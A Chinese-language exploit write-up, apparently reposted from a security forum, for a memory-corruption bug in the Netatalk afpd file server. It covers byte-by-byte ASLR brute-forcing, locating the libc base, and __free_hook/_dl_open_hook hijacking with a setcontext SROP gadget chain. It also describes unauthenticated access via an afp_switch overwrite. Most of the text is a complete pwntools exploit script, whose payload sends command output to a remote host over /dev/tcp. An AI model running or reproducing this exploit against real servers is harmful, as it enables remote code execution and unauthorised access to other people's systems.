如图3,通过观察,我们可以得知ASLR的Randomization主要是 0x00 00 7f ?? ?? ?? ?0 00,这样的随机化规律。那么,我们可以通过不断的写commands指针的地址试,逐个试探??,观察子进程是否crash。若commands指针地址不可写,那么后续读commands指针数据的操作将触发非法内存访问导致进程crash,无法响应我们的请求。也就是说,如果我们发的包修改的commands指针地址合法,我们会收到响应的数据包,如果没有那么就意味着我们写的commands指针地址非法。首先,commands指针原始的地址肯定是合法的、可写的。我们可以选择从0x00 00 7f ?? ?? ?? ?0 00的高字节逐字节往低试探(即上诉格式的从左往右消除问号),每当我们收到响应包时,我们便确定了一个??,转之继续往下一个??试探,直至确定一个合法的可写地址。当我们确定一个合法的地址时,有什么用呢?ELF模块之间的相对位置通常是固定的,例如afpd永远是第一个加载的模块。由此当我们在内存中确定一个可写内存的位置时,其相对于其他模块、地址的偏移也是相对固定的,差也不会差太多。我们可以这样来爆破,我们从高地址开始逐渐向低地址爆破,然后每一个字节爆破的值从255->0开始,那么我们拿到的地址,几乎可以肯定的说落在地址最高的ELF模块中。同理,从低字节开始往高字节写,从0->255开始,把7f也当作??试探,几乎可以肯定你会得到一个落在afpd模块中的可读可写地址。由于后面我给出的Exploit是通过泄露libc,劫持__free_hook指针进行内存布局并RCE的。所以我的泄露地址思路是尽量泄露一个离libc近的地址,因为图5中libc地址足够高,因此我也选择泄露一个高地址。代码如下:该代码泄露出来的地址,落在最高的模块中。并且出于简单考虑,在这个形式中的泄露格式0x00 00 7f ?? ?? ?? ?0 00,我把最后两个字节默认抹除为0了,也即只需要泄露三个字节,并且我们泄露出来的地址是0x1000对齐的。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

def create_dsi_header(command : bytes, dsi_data):

    dsi_header = b'\x00'

    dsi_header += command

    dsi_header += b'\x01\x00'

    dsi_header += b'\x00\x00\x00\x00'

    dsi_header += p32(len(dsi_data), endian='big')

    dsi_header += p32(0)

    dsi_header += dsi_data

    return dsi_header

def create_dsi_data(code : bytes,  data : bytes):

    dsi_data = code

    dsi_data += p8(len(data))

    assert len(data)  < 255

    dsi_data += data

    return dsi_data

def leak_address():

    leak_addr = b""

    flags = p32(0x11223344, endian='big')

    for _ in range(3):

        for i in range(255, -1, -1):

            data = p32(0) + p32(0) + flags[::-1] + p32(0)

            data += b"\x00\x00" + leak_addr + i.to_bytes(1, byteorder='little')

            dsi_data = create_dsi_data(b'\x01', data)

            dsi_header = create_dsi_header(b'\x04', dsi_data)

            io = remote(ip, port)

            io.send(dsi_header)

            try:

                res = io.recv()

                if flags in res:

                    leak_addr += i.to_bytes(1, byteorder='little')

                    io.close()

                    break

            except:

                io.close()

    return int.from_bytes(b"\x00\x00" + leak_addr + b"\x7f\x00\x00", byteorder='little')

图片描述
那么我们既然泄露出了一个可读可写的地址,如果我想写libc中的一些数据怎么办?或者我想写afpd中的一些数据结构怎么办?那么自然需要泄露对应的基地址。以libc写为例子,我给出的代码泄露出来的地址要么是位于ld-2.27.so中,要么是位于其下方的mmap内存中,我们可以大概的估算一下我们泄露的地址与libc之间的距离,一大步的靠近,然后一路小跑抵达libc基地址。例如我这里算出来的一大步是0x18040000~0x1880000这个区间,我们从直接一大步跨过0x18040000,然后以0x1000一小步一小步的跑向libc。afpd同理,甚至更加简单。

好了,现在我们解决了任意地址写的问题,那么我们来考虑如何进行RCE。泄露了libc以及可以任意地址写,那么常规的思路就是劫持函数指针获得控制流。注意下面的讲解一开始你可能有点困惑,但请看到这以小节的最后你再读一遍就会明白了。由三个gadgets可以完成这个思路。具体的,先看这一段gadgets,setcontext + 53(图4,红框)。我们可以看见只要我们能够控制rdi寄存器,那么我们就能控制几乎所有的寄存器,包括rsp和rip,也就是说我们就达成了劫持控制流、控制了几乎所有寄存器。这一段gadgets其实就是在进行SROP中 signal frame的构建,此时rdi相对于指向就是signal frame的顶部。因此,我们可以通过pwntools中的SigreturnFrame方便的控制这段代码对寄存器的赋值,只要我们可以控制rdi。
![image.png] 图片描述
为了控制rdi,我们需要另外两个gadgets。一个是__libc_dlopen_mode + 56,一个是fgetpos64+207,分别如图5、图6所示。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

// __libc_dlopen_mode + 56

mov rax, cs:dl_open_hook

call qword ptr [rax]

        

// fgetpos64 +207

mov rdi, rax

call qword ptr [rax + 20h]

        

// setcontext + 56

mov     rsp, [rdi+0A0h]

mov     rbx, [rdi+80h]

mov     rbp, [rdi+78h]

mov     r12, [rdi+48h]

mov     r13, [rdi+50h]

mov     r14, [rdi+58h]

mov     r15, [rdi+60h]

mov     rcx, [rdi+0A8h]

push    rcx

mov     rsi, [rdi+70h]

mov     rdx, [rdi+88h]

mov     rcx, [rdi+98h]

mov     r8, [rdi+28h]

mov     r9, [rdi+30h]

mov     rdi, [rdi+68h]

xor     eax, eax

retn

那么我如何控制dl_open_hook呢?在libc2.27中,_dl_open_hook地址比free_hook大约高0x2b00左右(不同版本编译器编译出来的libc2.27可能略有差别,但总体大约再0x2b00左右)。距离这么远,我们可以覆盖到吗?答案是,可以。(在Netatalk的代码分析小节的注3部分,我们讨论了一次性可以最多写入多大的数据)简言之,我们将commands指针覆盖至free_hook的地址处,随后根据三条gadgets的调用链,依次往后布局内存,使得我们最终能够控制rdi,进而控制程序流以及几乎所有寄存器,完成RCE。
图片描述

未授权访问的核心是泄露afpd的基地址,然后获取其中的三个关键数据结构preauth_switchpostauth_switchafp_switch,再通过任意地址写将afp_switch变量的值写成postauth_switch,即可进行未授权访问。!
图片描述

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

from pwn import *

import os

import sys

context(os = 'linux', arch='amd64')

context.terminal = ['tmux', 'sp', '-h']

libc = ELF("./libc-2.27.so")

ip = os.popen('ifconfig ens33 | grep "inet " ').read().split()[1]

port = 548

def create_dsi_header(command : bytes, dsi_data):

    dsi_header = b'\x00'

    dsi_header += command

    dsi_header += b'\x01\x00'

    dsi_header += b'\x00\x00\x00\x00'

    dsi_header += p32(len(dsi_data), endian='big')

    dsi_header += p32(0)

    dsi_header += dsi_data

    return dsi_header

def create_dsi_data(code : bytes,  data : bytes):

    dsi_data = code

    dsi_data += p8(len(data))

    assert len(data)  < 255

    dsi_data += data

    return dsi_data

def leak_address():

    leak_addr = b""

    flags = p32(0x11223344, endian='big')

    for _ in range(3):

        for i in range(255, -1, -1):

            data = p32(0) + p32(0) + flags[::-1] + p32(0)

            data += b"\x00\x00" + leak_addr + i.to_bytes(1, byteorder='little')

            dsi_data = create_dsi_data(b'\x01', data)

            dsi_header = create_dsi_header(b'\x04', dsi_data)

            io = remote(ip, port)

            io.send(dsi_header)

            try:

                res = io.recv()

                if flags in res:

                    leak_addr += i.to_bytes(1, byteorder='little')

                    io.close()

                    break

            except:

                io.close()

    return int.from_bytes(b"\x00\x00" + leak_addr + b"\x7f\x00\x00", byteorder='little')

def main():

    if '--debug=true' in sys.argv:

        context.log_level = 'debug'

    leak_addr = leak_address()

    print(f"leak_addr = {hex(leak_addr)}")

    pause()

    input()

    leak_addr = 0x7f79e9200000

    for offset in range(0x18040000, 0x1880000, 0x1000):

        print(f"offset = {hex(offset)}")

        libc_base = leak_addr - offset

        system_addr = libc_base + libc.sym['system']

        __free_hook = libc_base + libc.symbols['__free_hook']

        __libc_dlopen_mode_56 = libc_base + libc.sym['__libc_dlopen_mode'] + 56

        fgetpos64_207 = libc_base + libc.sym['fgetpos64'] + 207

        setcontext_53 = libc_base + libc.sym['setcontext'] + 53

        _dl_open_hook = libc_base + libc.sym['_dl_open_hook']

        io = remote(ip, port)

        data = b'a'*0x10 + p64(__free_hook)

        dsi_data = create_dsi_data(b'\x01', data)

        dsi_header = create_dsi_header(b'\x04', dsi_data)

        io.send(dsi_header)

        frame = SigreturnFrame()

        frame.rip = system_addr

        frame.rdi = __free_hook + 8

        frame.rsp = __free_hook

        cmd = f'bash -c "ls  > /dev/tcp/{ip}/{6666}" \x00'.encode()

        payload = p64(__libc_dlopen_mode_56)

        payload += cmd.ljust(0x2ca0 - 8, b'\x00')

        payload += p64(_dl_open_hook + 8)

        payload += p64(fgetpos64_207)

        payload += b'a'*0x18

        payload += p64(setcontext_53)

        payload += bytes(frame)[0x28:]

        dsi_header = create_dsi_header(b'\x04', payload)

        io.send(dsi_header)

        io.close()

        main()


文章来源: https://bbs.pediy.com/thread-276767.htm
如有侵权请联系:admin#unsafe.sh